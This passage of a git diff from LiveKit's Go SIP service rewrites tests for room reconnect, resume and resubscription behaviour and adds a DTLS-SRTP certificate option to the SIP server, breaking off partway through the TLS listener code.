start pulling room audio toward a leg nobody has picked up. - t.Run("does not subscribe before the call is answered", func(t *testing.T) { - f := newReconnectFixture(t) - - // Joined, but Subscribe() has not been called yet. - f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_1"), testRemoteInfo(), &livekit.ServerInfo{}, nil) - require.False(t, f.room.subscribe.Load()) - - before := f.room.stats.TrackSubscribes.Load() - f.reconnectEscalated() - - require.Never(t, func() bool { - return f.room.stats.TrackSubscribes.Load() > before - }, 200*time.Millisecond, 20*time.Millisecond, - "reconnect before answer must not subscribe") - require.False(t, f.room.subscribe.Load(), "reconnect must not flip the subscribe flag") - }) - - // A resume keeps its subscriptions and the SDK replays them itself. - t.Run("resume does not resubscribe", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - before := f.room.stats.TrackSubscribes.Load() - f.sdk.OnResuming() - f.sdk.OnResumed() - - require.Never(t, func() bool { - return f.room.stats.TrackSubscribes.Load() > before - }, 200*time.Millisecond, 20*time.Millisecond, - "re-subscribing on resume would race the SDK's own sendSyncState") - }) - - // The two counters are mutually exclusive, so a recovery lands in exactly one. - t.Run("counts resumes and reconnects separately", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - f.reconnectEscalated() - require.EqualValues(t, 1, f.room.stats.Reconnects.Load()) - require.EqualValues(t, 0, f.room.stats.Resumes.Load()) - - f.sdk.OnResuming() - f.sdk.OnResumed() - require.EqualValues(t, 1, f.room.stats.Reconnects.Load(), "a resume must not count as a reconnect") - require.EqualValues(t, 1, f.room.stats.Resumes.Load()) - require.False(t, f.room.stats.Recovering.Load()) - }) - - // PublishedFrames and PublishTX keep climbing during a gap whether or not - // audio reaches the room, so the gap itself has to be visible. - t.Run("snapshot exposes the gap", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - f.sdk.OnResuming() - require.True(t, f.room.stats.Load().Recovering, "gap must be visible while it is happening") - - f.sdk.OnResumed() - require.False(t, f.room.stats.Load().Recovering) - require.EqualValues(t, 1, f.room.stats.Load().Resumes) - }) - - // A SIP leg can hang up at any point, including mid-recovery, so teardown - // runs concurrently with the reconnect handlers. This is a smoke test for - // that overlap, not a race guard: the SDK locks the two goroutines take - // incidentally order them, so -race does not reliably see the field access. - t.Run("survives teardown during recovery", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - - var wg sync.WaitGroup - wg.Add(2) - go func() { - defer wg.Done() - f.reconnectEscalated() - }() - go func() { - defer wg.Done() - _ = f.room.CloseWithReason(livekit.DisconnectReason_CLIENT_INITIATED) - }() - wg.Wait() - - require.Nil(t, f.room.Room(), "close must clear the room handle") - }) - - // The SID changes on every reconnect and feeds call state. - t.Run("refreshes participant SID after reconnect", func(t *testing.T) { - f := newReconnectFixture(t) - f.join(t) - f.room.setParticipantFromRoom() - require.Equal(t, "PA_sip_1", f.room.Participant().ID) - - f.reconnectEscalated() - - require.Eventually(t, func() bool { - return f.room.Participant().ID == "PA_sip_2" - }, time.Second, 10*time.Millisecond, - "cached participant SID must be refreshed after a reconnect") - }) -} +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + lksdk "github.com/livekit/server-sdk-go/v2" + + "github.com/livekit/sip/pkg/config" +) + +const ( + testRemoteIdentity = "agent" + testRemoteSID = "PA_remote" + testRemoteTrackSID = "TR_remote_audio" +) + +func testRoomInfo() *livekit.Room { + return &livekit.Room{Sid: "RM_test", Name: "test-room"} +} + +func testLocalInfo(sid string) *livekit.ParticipantInfo { + return &livekit.ParticipantInfo{ + Sid: sid, + Identity: "sip-participant", + Kind: livekit.ParticipantInfo_SIP, + } +} + +// testRemoteInfo is the other party in the room, holding one audio track. It +// never reconnects, so its SIDs stay the same across our reconnect, which is +// what makes the SDK treat its track as already known. +func testRemoteInfo() []*livekit.ParticipantInfo { + return []*livekit.ParticipantInfo{{ + Sid: testRemoteSID, + Identity: testRemoteIdentity, + State: livekit.ParticipantInfo_ACTIVE, + Tracks: []*livekit.TrackInfo{{ + Sid: testRemoteTrackSID, + Type: livekit.TrackType_AUDIO, + Name: "microphone", + }}, + }} +} + +// --- reconnect --------------------------------------------------------------- + +type reconnectFixture struct { + room *Room + sdk *lksdk.Room + published *atomic.Int32 // times SIP's OnTrackPublished handler ran +} + +func newReconnectFixture(t *testing.T) *reconnectFixture { + t.Helper() + + r := NewRoom(logger.NewTestLogger(t), &RoomStats{}) + t.Cleanup(func() { _ = r.Close() }) + + cb := r.newRoomCallback(&config.Config{}, RoomConfig{}) + + // Wrap the callback before handing it to the SDK: NewRoom copies the fields + // via Merge, so wrapping afterwards would not be observed. + var published atomic.Int32 + inner := cb.ParticipantCallback.OnTrackPublished + cb.ParticipantCallback.OnTrackPublished = func(pub *lksdk.RemoteTrackPublication, rp *lksdk.RemoteParticipant) { + published.Add(1) + inner(pub, rp) + } + + sdk := lksdk.NewRoom(cb) + r.room.Store(sdk) + r.ready.Break() + + return &reconnectFixture{room: r, sdk: sdk, published: &published} +} + +// join brings the fixture to the state of an answered call: joined, remote +// participant present, and subscribing enabled. +func (f *reconnectFixture) join(t *testing.T) { + t.Helper() + + f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_1"), testRemoteInfo(), &livekit.ServerInfo{}, nil) + require.EqualValues(t, 1, f.published.Load(), "expected the initial publication to be announced") + + f.room.Subscribe() + require.True(t, f.room.subscribe.Load()) + require.Len(t, f.sdk.GetRemoteParticipants(), 1) + + f.published.Store(0) // only count what happens from here on +} + +// reconnectEscalated simulates a failed resume escalating to a reconnect, where +// the SDK skips OnRestarting. +func (f *reconnectFixture) reconnectEscalated() { + f.sdk.OnResuming() + f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo(), &livekit.ServerInfo{}, nil) + f.sdk.OnRestarted(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo()) +} + +// reconnectServerInitiated simulates the server asking for a reconnect directly, +// where OnRestarting does run. +func (f *reconnectFixture) reconnectServerInitiated() { + f.sdk.OnRestarting() + f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo(), &livekit.ServerInfo{}, nil) + f.sdk.OnRestarted(testRoomInfo(), testLocalInfo("PA_sip_2"), testRemoteInfo()) +} + +// TestRoomReconnect covers what happens to a call when the SIP pod loses +// its signal connection to the server and recovers it. +// +// These subtests call the SDK's exported reconnect handlers directly. A real +// reconnect needs a live peer connection to succeed, so a fake signal server +// would have to complete ICE/DTLS to reach the same states. +// +// Only participants connected to the affected pod reconnect. Everyone other +// participant in that room is unaffected and keep their session and their SIDs. +// So "clearing participants" below means dropping our own view of them, not +// removing anyone from the room. There are two ways to reach a reconnect: +// +// 1- server-initiated: the reconnect is attempted right away, affected participants +// drop their participant map, and then rebuild it from the OnRoomJoined +// snapshot and re-announce their tracks. +// 2- resume-then-escalate: resume is first attempted. If it fails, then switch +// to a reconnect, and the stale participant map survives so no tracks are +// announced. +func TestRoomReconnect(t *testing.T) { + t.Run("escalated reconnect does not re-announce tracks from remote participants", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + f.reconnectEscalated() + + require.EqualValues(t, 0, f.published.Load(), + "OnTrackPublished must not re-fire on the escalated path") + }) + + // The other path does re-announce, which is why lost audio is intermittent. + t.Run("server initiated reconnect re-announces tracks from remote participants", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + f.reconnectServerInitiated() + + require.EqualValues(t, 1, f.published.Load(), + "OnTrackPublished is expected to re-fire when OnRestarting cleared the participants") + }) + + // However the reconnect was reached, SIP must re-issue its subscriptions. + t.Run("resubscribes after escalated reconnect", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + before := f.room.stats.TrackSubscribes.Load() + f.reconnectEscalated() + + require.Eventually(t, func() bool { + return f.room.stats.TrackSubscribes.Load() > before + }, time.Second, 10*time.Millisecond, + "SIP must re-subscribe to remote tracks after a reconnect") + }) + + // An outbound call joins the room and publishes before it starts dialing, but + // defers Subscribe() until the callee answers. A reconnect in that window + // must not start pulling room audio toward a leg nobody has picked up. + t.Run("does not subscribe before the call is answered", func(t *testing.T) { + f := newReconnectFixture(t) + + // Joined, but Subscribe() has not been called yet. + f.sdk.OnRoomJoined(testRoomInfo(), testLocalInfo("PA_sip_1"), testRemoteInfo(), &livekit.ServerInfo{}, nil) + require.False(t, f.room.subscribe.Load()) + + before := f.room.stats.TrackSubscribes.Load() + f.reconnectEscalated() + + require.Never(t, func() bool { + return f.room.stats.TrackSubscribes.Load() > before + }, 200*time.Millisecond, 20*time.Millisecond, + "reconnect before answer must not subscribe") + require.False(t, f.room.subscribe.Load(), "reconnect must not flip the subscribe flag") + }) + + // A resume keeps its subscriptions and the SDK replays them itself. + t.Run("resume does not resubscribe", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + before := f.room.stats.TrackSubscribes.Load() + f.sdk.OnResuming() + f.sdk.OnResumed() + + require.Never(t, func() bool { + return f.room.stats.TrackSubscribes.Load() > before + }, 200*time.Millisecond, 20*time.Millisecond, + "re-subscribing on resume would race the SDK's own sendSyncState") + }) + + // The two counters are mutually exclusive, so a recovery lands in exactly one. + t.Run("counts resumes and reconnects separately", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + f.reconnectEscalated() + require.EqualValues(t, 1, f.room.stats.Reconnects.Load()) + require.EqualValues(t, 0, f.room.stats.Resumes.Load()) + + f.sdk.OnResuming() + f.sdk.OnResumed() + require.EqualValues(t, 1, f.room.stats.Reconnects.Load(), "a resume must not count as a reconnect") + require.EqualValues(t, 1, f.room.stats.Resumes.Load()) + require.False(t, f.room.stats.Recovering.Load()) + }) + + // PublishedFrames and PublishTX keep climbing during a gap whether or not + // audio reaches the room, so the gap itself has to be visible. + t.Run("snapshot exposes the gap", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + f.sdk.OnResuming() + require.True(t, f.room.stats.Load().Recovering, "gap must be visible while it is happening") + + f.sdk.OnResumed() + require.False(t, f.room.stats.Load().Recovering) + require.EqualValues(t, 1, f.room.stats.Load().Resumes) + }) + + // A SIP leg can hang up at any point, including mid-recovery, so teardown + // runs concurrently with the reconnect handlers. This is a smoke test for + // that overlap, not a race guard: the SDK locks the two goroutines take + // incidentally order them, so -race does not reliably see the field access. + t.Run("survives teardown during recovery", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + f.reconnectEscalated() + }() + go func() { + defer wg.Done() + _ = f.room.CloseWithReason(livekit.DisconnectReason_CLIENT_INITIATED) + }() + wg.Wait() + + require.Nil(t, f.room.Room(), "close must clear the room handle") + }) + + // The SID changes on every reconnect and feeds call state. + t.Run("refreshes participant SID after reconnect", func(t *testing.T) { + f := newReconnectFixture(t) + f.join(t) + f.room.setParticipantFromRoom() + require.Equal(t, "PA_sip_1", f.room.Participant().ID) + + f.reconnectEscalated() + + require.Eventually(t, func() bool { + return f.room.Participant().ID == "PA_sip_2" + }, time.Second, 10*time.Millisecond, + "cached participant SID must be refreshed after a reconnect") + }) +} diff --git a/pkg/sip/server.go b/pkg/sip/server.go index 6858cb8cd..398591cfa 100644 --- a/pkg/sip/server.go +++ b/pkg/sip/server.go @@ -1,413 +1,418 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "crypto/tls" - "errors" - "fmt" - "io" - "log/slog" - "net" - "net/netip" - "slices" - "sync" - "sync/atomic" - "time" - - "github.com/frostbyte73/core" - "github.com/hashicorp/golang-lru/v2/expirable" - "github.com/icholy/digest" - "golang.org/x/exp/maps" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/protocol/utils/traceid" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -const ( - UserAgent = "LiveKit" - digestLimit = 500 -) - -const ( - maxCallCache = 5000 // ~8 B per entry, ~40 KB - callCacheTTL = time.Minute // we only need it for detecting retries from providers for now -) - -var ( - contentTypeHeaderSDP = sip.ContentTypeHeader("application/sdp") -) - -type CallInfo struct { - TrunkID string - Call *rpc.SIPCall - Pin string - NoPin bool -} - -type AuthResult int - -const ( - AuthNotFound = AuthResult(iota) - AuthDrop - AuthPassword - AuthAccept - AuthQuotaExceeded - AuthNoTrunkFound -) - -type AuthInfo struct { - Result AuthResult - ProjectID string - TrunkID string - Auth InboundAuth - ProviderInfo *livekit.ProviderInfo - Observability *rpc.SIPCallObservability -} - -type InboundAuth struct { - Username string - Password string - Realm string -} - -type DispatchResult int - -const ( - DispatchAccept = DispatchResult(iota) - DispatchRequestPin - DispatchNoRuleReject // reject the call with an error - DispatchNoRuleDrop // silently drop the call - DispatchServiceUnavailable // dispatch rule evaluation failed at the transport level -) - -type CallDispatch struct { - Result DispatchResult - Room RoomConfig - ProjectID string - TrunkID string - DispatchRuleID string - Headers map[string]string - HeadersToAttributes map[string]string - IncludeHeaders livekit.SIPHeaderOptions - AttributesToHeaders map[string]string - EnabledFeatures []livekit.SIPFeature - FeatureFlags map[string]string - RingingTimeout time.Duration - MaxCallDuration time.Duration - MediaConfig *livekit.SIPMediaConfig -} - -type CallIdentifier struct { - TraceID traceid.ID - ProjectID string - CallID string - SipCallID string -} - -type MediaProcessorOpts struct { - InputSampleRate int -} - -type Handler interface { - GetAuthCredentials(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) - DispatchCall(ctx context.Context, info *CallInfo) CallDispatch - GetMediaProcessor(features []livekit.SIPFeature, featureFlags map[string]string, callID string, opts MediaProcessorOpts) msdk.PCM16Processor - - RegisterTransferSIPParticipantTopic(sipCallId string) error - DeregisterTransferSIPParticipantTopic(sipCallId string) - - OnInboundInfo(log logger.Logger, callInfo *rpc.SIPCall, headers Headers) - OnSessionEnd(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) -} - -// HandlerInterceptor wraps a handler function. -type HandlerInterceptor func(sipgo.RequestHandler) sipgo.RequestHandler - -type Server struct { - log logger.Logger - mon *stats.Monitor - region string - sipSrv *sipgo.Server - getStateHandler GetStateHandler - getRoom GetRoomFunc - sipListeners []io.Closer - sipUnhandled RequestHandler - - imu sync.Mutex - inProgressInvites []*inProgressInvite - - closing core.Fuse - cmu sync.RWMutex - byLocalTag map[LocalTag]*inboundCall - provisionalInvites *expirable.LRU[[2]string, LocalTag] - rejectedInvites *expirable.LRU[[2]string, rejectedInviteResponse] - - infos struct { - sync.Mutex - byLocalTag *expirable.LRU[LocalTag, *inboundCallInfo] - } - - handler Handler - conf *config.Config - sconf *ServiceConfig - interceptors []HandlerInterceptor - - cli *Client // optional, for outbound reinvite handling - - res mediaRes -} - -type inProgressInvite struct { - sipCallID string - challenge digest.Challenge - authResolved atomic.Bool -} - -type rejectedInviteResponse struct { - status sip.StatusCode - reason string -} - -type ServerOption func(s *Server) - -func WithGetRoomServer(fn GetRoomFunc) ServerOption { - return func(s *Server) { - if fn != nil { - s.getRoom = fn - } - } -} - -func WithClient(cli *Client) ServerOption { - return func(s *Server) { - s.cli = cli - } -} - -// WithInterceptors configures all sip handlers to be wrapped with the given set -// of interceptors. Interceptors are applied s.t. the first interceptor is the -// outermost one. -func WithInterceptors(interceptors ...HandlerInterceptor) ServerOption { - return func(s *Server) { - s.interceptors = interceptors - } -} - -func NewServer(region string, conf *config.Config, log logger.Logger, mon *stats.Monitor, getStateHandler GetStateHandler, options ...ServerOption) *Server { - if log == nil { - log = logger.GetLogger() - } - s := &Server{ - log: log, - conf: conf, - region: region, - mon: mon, - getStateHandler: getStateHandler, - getRoom: DefaultGetRoomFunc, - byLocalTag: make(map[LocalTag]*inboundCall), - provisionalInvites: expirable.NewLRU[[2]string, LocalTag](maxCallCache, nil, callCacheTTL), - } - // Initialize the rejected-invite replay cache unless explicitly disabled. - if !conf.DisableRejectedInviteCache { - s.rejectedInvites = expirable.NewLRU[[2]string, rejectedInviteResponse](maxCallCache, nil, callCacheTTL) - } - for _, option := range options { - option(s) - } - s.infos.byLocalTag = expirable.NewLRU[LocalTag, *inboundCallInfo](maxCallCache, nil, callCacheTTL) - s.initMediaRes() - return s -} - -func (s *Server) SetHandler(handler Handler) { - s.handler = handler -} - -func (s *Server) ContactURI(tr Transport) URI { - return getContactURI(s.conf, s.sconf.SignalingIP, tr) -} - -func (s *Server) startUDP(addr netip.AddrPort) error { - lis, err := net.ListenUDP("udp", &net.UDPAddr{ - IP: addr.Addr().AsSlice(), - Port: int(addr.Port()), - }) - if err != nil { - return fmt.Errorf("cannot listen on the UDP signaling port %d: %w", s.conf.SIPPortListen, err) - } - s.sipListeners = append(s.sipListeners, lis) - s.log.Infow("sip signaling listening on", - "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, - "port", addr.Port(), "announce-port", s.conf.SIPPort, - "proto", "udp", - ) - - go func() { - if err := s.sipSrv.ServeUDP(lis); err != nil { - panic(fmt.Errorf("SIP listen UDP error: %w", err)) - } - }() - return nil -} - -func (s *Server) startTCP(addr netip.AddrPort) error { - lis, err := net.ListenTCP("tcp", &net.TCPAddr{ - IP: addr.Addr().AsSlice(), - Port: int(addr.Port()), - }) - if err != nil { - return fmt.Errorf("cannot listen on the TCP signaling port %d: %w", s.conf.SIPPortListen, err) - } - s.sipListeners = append(s.sipListeners, lis) - s.log.Infow("sip signaling listening on", - "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, - "port", addr.Port(), "announce-port", s.conf.SIPPort, - "proto", "tcp", - ) - - go func() { - if err := s.sipSrv.ServeTCP(lis); err != nil && !errors.Is(err, net.ErrClosed) { - panic(fmt.Errorf("SIP listen TCP error: %w", err)) - } - }() - return nil -} - -func (s *Server) startTLS(addr netip.AddrPort, conf *tls.Config) error { - tlis, err := net.ListenTCP("tcp", &net.TCPAddr{ - IP: addr.Addr().AsSlice(), - Port: int(addr.Port()), - }) - if err != nil { - return fmt.Errorf("cannot listen on the TLS signaling port %d: %w", s.conf.SIPPortListen, err) - } - lis := tls.NewListener(tlis, conf) - s.sipListeners = append(s.sipListeners, lis) - s.log.Infow("sip signaling listening on", - "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, - "port", addr.Port(), "announce-port", s.conf.TLS.Port, - "proto", "tls", - ) - - go func() { - if err := s.sipSrv.ServeTLS(lis); err != nil && !errors.Is(err, net.ErrClosed) { - panic(fmt.Errorf("SIP listen TLS error: %w", err)) - } - }() - return nil -} - -type RequestHandler func(req *sip.Request, tx sip.ServerTransaction) bool - -func (s *Server) wrapHandler(handler sipgo.RequestHandler) sipgo.RequestHandler { - ret := handler - for _, interceptor := range slices.Backward(s.interceptors) { - ret = interceptor(ret) - } - return ret -} - -func (s *Server) Start(agent *sipgo.UserAgent, sc *ServiceConfig, tlsConf *tls.Config, unhandled RequestHandler) error { - s.sconf = sc - s.log.Infow("server starting", "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP) - - if agent == nil { - ua, err := sipgo.NewUA( - sipgo.WithUserAgent(UserAgent), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - if err != nil { - return err - } - agent = ua - } - - var err error - s.sipSrv, err = sipgo.NewServer(agent, - sipgo.WithServerLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - if err != nil { - return err - } - - s.sipSrv.OnOptions(s.wrapHandler(s.onOptions)) - s.sipSrv.OnInvite(s.wrapHandler(s.onInvite)) - s.sipSrv.OnAck(s.wrapHandler(s.onAck)) - s.sipSrv.OnBye(s.wrapHandler(s.onBye)) - s.sipSrv.OnNotify(s.wrapHandler(s.onNotify)) - s.sipSrv.OnNoRoute(s.wrapHandler(s.OnNoRoute)) - s.sipUnhandled = unhandled - - listenIP := s.conf.ListenIP - if listenIP == "" { - listenIP = "0.0.0.0" - } - ip, err := netip.ParseAddr(listenIP) - if err != nil { - return err - } - addr := netip.AddrPortFrom(ip, uint16(s.conf.SIPPortListen)) - if err := s.startUDP(addr); err != nil { - return err - } - if err := s.startTCP(addr); err != nil { - return err - } - if tlsConf != nil && s.conf.TLS != nil { - tconf := s.conf.TLS - addrTLS := netip.AddrPortFrom(ip, uint16(tconf.ListenPort)) - if err := s.startTLS(addrTLS, tlsConf); err != nil { - return err - } - } - - return nil -} - -func (s *Server) Stop() { - ctx := context.Background() - s.closing.Break() - s.cmu.Lock() - calls := maps.Values(s.byLocalTag) - s.byLocalTag = make(map[LocalTag]*inboundCall) - s.cmu.Unlock() - for _, c := range calls { - c.Shutdown(ctx) - } - if s.sipSrv != nil { - _ = s.sipSrv.Close() - } - for _, l := range s.sipListeners { - _ = l.Close() - } -} - -func (s *Server) RegisterTransferSIPParticipant(sipCallID LocalTag, i *inboundCall) error { - return s.handler.RegisterTransferSIPParticipantTopic(string(sipCallID)) -} - -func (s *Server) DeregisterTransferSIPParticipant(sipCallID LocalTag) { - s.handler.DeregisterTransferSIPParticipantTopic(string(sipCallID)) -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "crypto/tls" + "errors" + "fmt" + "io" + "log/slog" + "net" + "net/netip" + "slices" + "sync" + "sync/atomic" + "time" + + "github.com/frostbyte73/core" + "github.com/hashicorp/golang-lru/v2/expirable" + "github.com/icholy/digest" + "golang.org/x/exp/maps" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/protocol/utils/traceid" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +const ( + UserAgent = "LiveKit" + digestLimit = 500 +) + +const ( + maxCallCache = 5000 // ~8 B per entry, ~40 KB + callCacheTTL = time.Minute // we only need it for detecting retries from providers for now +) + +var ( + contentTypeHeaderSDP = sip.ContentTypeHeader("application/sdp") +) + +type CallInfo struct { + TrunkID string + Call *rpc.SIPCall + Pin string + NoPin bool +} + +type AuthResult int + +const ( + AuthNotFound = AuthResult(iota) + AuthDrop + AuthPassword + AuthAccept + AuthQuotaExceeded + AuthNoTrunkFound +) + +type AuthInfo struct { + Result AuthResult + ProjectID string + TrunkID string + Auth InboundAuth + ProviderInfo *livekit.ProviderInfo + Observability *rpc.SIPCallObservability +} + +type InboundAuth struct { + Username string + Password string + Realm string +} + +type DispatchResult int + +const ( + DispatchAccept = DispatchResult(iota) + DispatchRequestPin + DispatchNoRuleReject // reject the call with an error + DispatchNoRuleDrop // silently drop the call + DispatchServiceUnavailable // dispatch rule evaluation failed at the transport level +) + +type CallDispatch struct { + Result DispatchResult + Room RoomConfig + ProjectID string + TrunkID string + DispatchRuleID string + Headers map[string]string + HeadersToAttributes map[string]string + IncludeHeaders livekit.SIPHeaderOptions + AttributesToHeaders map[string]string + EnabledFeatures []livekit.SIPFeature + FeatureFlags map[string]string + RingingTimeout time.Duration + MaxCallDuration time.Duration + MediaConfig *livekit.SIPMediaConfig +} + +type CallIdentifier struct { + TraceID traceid.ID + ProjectID string + CallID string + SipCallID string +} + +type MediaProcessorOpts struct { + InputSampleRate int +} + +type Handler interface { + GetAuthCredentials(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) + DispatchCall(ctx context.Context, info *CallInfo) CallDispatch + GetMediaProcessor(features []livekit.SIPFeature, featureFlags map[string]string, callID string, opts MediaProcessorOpts) msdk.PCM16Processor + + RegisterTransferSIPParticipantTopic(sipCallId string) error + DeregisterTransferSIPParticipantTopic(sipCallId string) + + OnInboundInfo(log logger.Logger, callInfo *rpc.SIPCall, headers Headers) + OnSessionEnd(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) +} + +// HandlerInterceptor wraps a handler function. +type HandlerInterceptor func(sipgo.RequestHandler) sipgo.RequestHandler + +type Server struct { + log logger.Logger + mon *stats.Monitor + region string + sipSrv *sipgo.Server + getStateHandler GetStateHandler + getRoom GetRoomFunc + sipListeners []io.Closer + sipUnhandled RequestHandler + + imu sync.Mutex + inProgressInvites []*inProgressInvite + + closing core.Fuse + cmu sync.RWMutex + byLocalTag map[LocalTag]*inboundCall + provisionalInvites *expirable.LRU[[2]string, LocalTag] + rejectedInvites *expirable.LRU[[2]string, rejectedInviteResponse] + + infos struct { + sync.Mutex + byLocalTag *expirable.LRU[LocalTag, *inboundCallInfo] + } + + handler Handler + conf *config.Config + sconf *ServiceConfig + interceptors []HandlerInterceptor + + cli *Client // optional, for outbound reinvite handling + + res mediaRes + dtlsCertificate *dtlsCertificate +} + +type inProgressInvite struct { + sipCallID string + challenge digest.Challenge + authResolved atomic.Bool +} + +type rejectedInviteResponse struct { + status sip.StatusCode + reason string +} + +type ServerOption func(s *Server) + +func WithGetRoomServer(fn GetRoomFunc) ServerOption { + return func(s *Server) { + if fn != nil { + s.getRoom = fn + } + } +} + +func WithClient(cli *Client) ServerOption { + return func(s *Server) { + s.cli = cli + } +} + +func WithDTLSSRTPCertificate(cert *dtlsCertificate) ServerOption { + return func(s *Server) { s.dtlsCertificate = cert } +} + +// WithInterceptors configures all sip handlers to be wrapped with the given set +// of interceptors. Interceptors are applied s.t. the first interceptor is the +// outermost one. +func WithInterceptors(interceptors ...HandlerInterceptor) ServerOption { + return func(s *Server) { + s.interceptors = interceptors + } +} + +func NewServer(region string, conf *config.Config, log logger.Logger, mon *stats.Monitor, getStateHandler GetStateHandler, options ...ServerOption) *Server { + if log == nil { + log = logger.GetLogger() + } + s := &Server{ + log: log, + conf: conf, + region: region, + mon: mon, + getStateHandler: getStateHandler, + getRoom: DefaultGetRoomFunc, + byLocalTag: make(map[LocalTag]*inboundCall), + provisionalInvites: expirable.NewLRU[[2]string, LocalTag](maxCallCache, nil, callCacheTTL), + } + // Initialize the rejected-invite replay cache unless explicitly disabled. + if !conf.DisableRejectedInviteCache { + s.rejectedInvites = expirable.NewLRU[[2]string, rejectedInviteResponse](maxCallCache, nil, callCacheTTL) + } + for _, option := range options { + option(s) + } + s.infos.byLocalTag = expirable.NewLRU[LocalTag, *inboundCallInfo](maxCallCache, nil, callCacheTTL) + s.initMediaRes() + return s +} + +func (s *Server) SetHandler(handler Handler) { + s.handler = handler +} + +func (s *Server) ContactURI(tr Transport) URI { + return getContactURI(s.conf, s.sconf.SignalingIP, tr) +} + +func (s *Server) startUDP(addr netip.AddrPort) error { + lis, err := net.ListenUDP("udp", &net.UDPAddr{ + IP: addr.Addr().AsSlice(), + Port: int(addr.Port()), + }) + if err != nil { + return fmt.Errorf("cannot listen on the UDP signaling port %d: %w", s.conf.SIPPortListen, err) + } + s.sipListeners = append(s.sipListeners, lis) + s.log.Infow("sip signaling listening on", + "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, + "port", addr.Port(), "announce-port", s.conf.SIPPort, + "proto", "udp", + ) + + go func() { + if err := s.sipSrv.ServeUDP(lis); err != nil { + panic(fmt.Errorf("SIP listen UDP error: %w", err)) + } + }() + return nil +} + +func (s *Server) startTCP(addr netip.AddrPort) error { + lis, err := net.ListenTCP("tcp", &net.TCPAddr{ + IP: addr.Addr().AsSlice(), + Port: int(addr.Port()), + }) + if err != nil { + return fmt.Errorf("cannot listen on the TCP signaling port %d: %w", s.conf.SIPPortListen, err) + } + s.sipListeners = append(s.sipListeners, lis) + s.log.Infow("sip signaling listening on", + "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, + "port", addr.Port(), "announce-port", s.conf.SIPPort, + "proto", "tcp", + ) + + go func() { + if err := s.sipSrv.ServeTCP(lis); err != nil && !errors.Is(err, net.ErrClosed) { + panic(fmt.Errorf("SIP listen TCP error: %w", err)) + } + }() + return nil +} + +func (s *Server) startTLS(addr netip.AddrPort, conf *tls.Config) error { + tlis, err := net.ListenTCP("tcp", &net.TCPAddr{ + IP: addr.Addr().AsSlice(), + Port: int(addr.Port()), + }) + if err != nil { + return fmt.Errorf("cannot listen on the TLS signaling port %d: %w", s.conf.SIPPortListen, err) + } + lis := tls.NewListener(tlis, conf) + s.sipListeners = append(s.sipListeners, lis) + s.log.Infow("sip signaling listening on", + "local", s.sconf.SignalingIPLocal, "external", s.sconf.SignalingIP, + "port", addr.Port(), "announce-port", s.conf.TLS.Port, + "proto", "tls", + ) + + go func() { + if err := 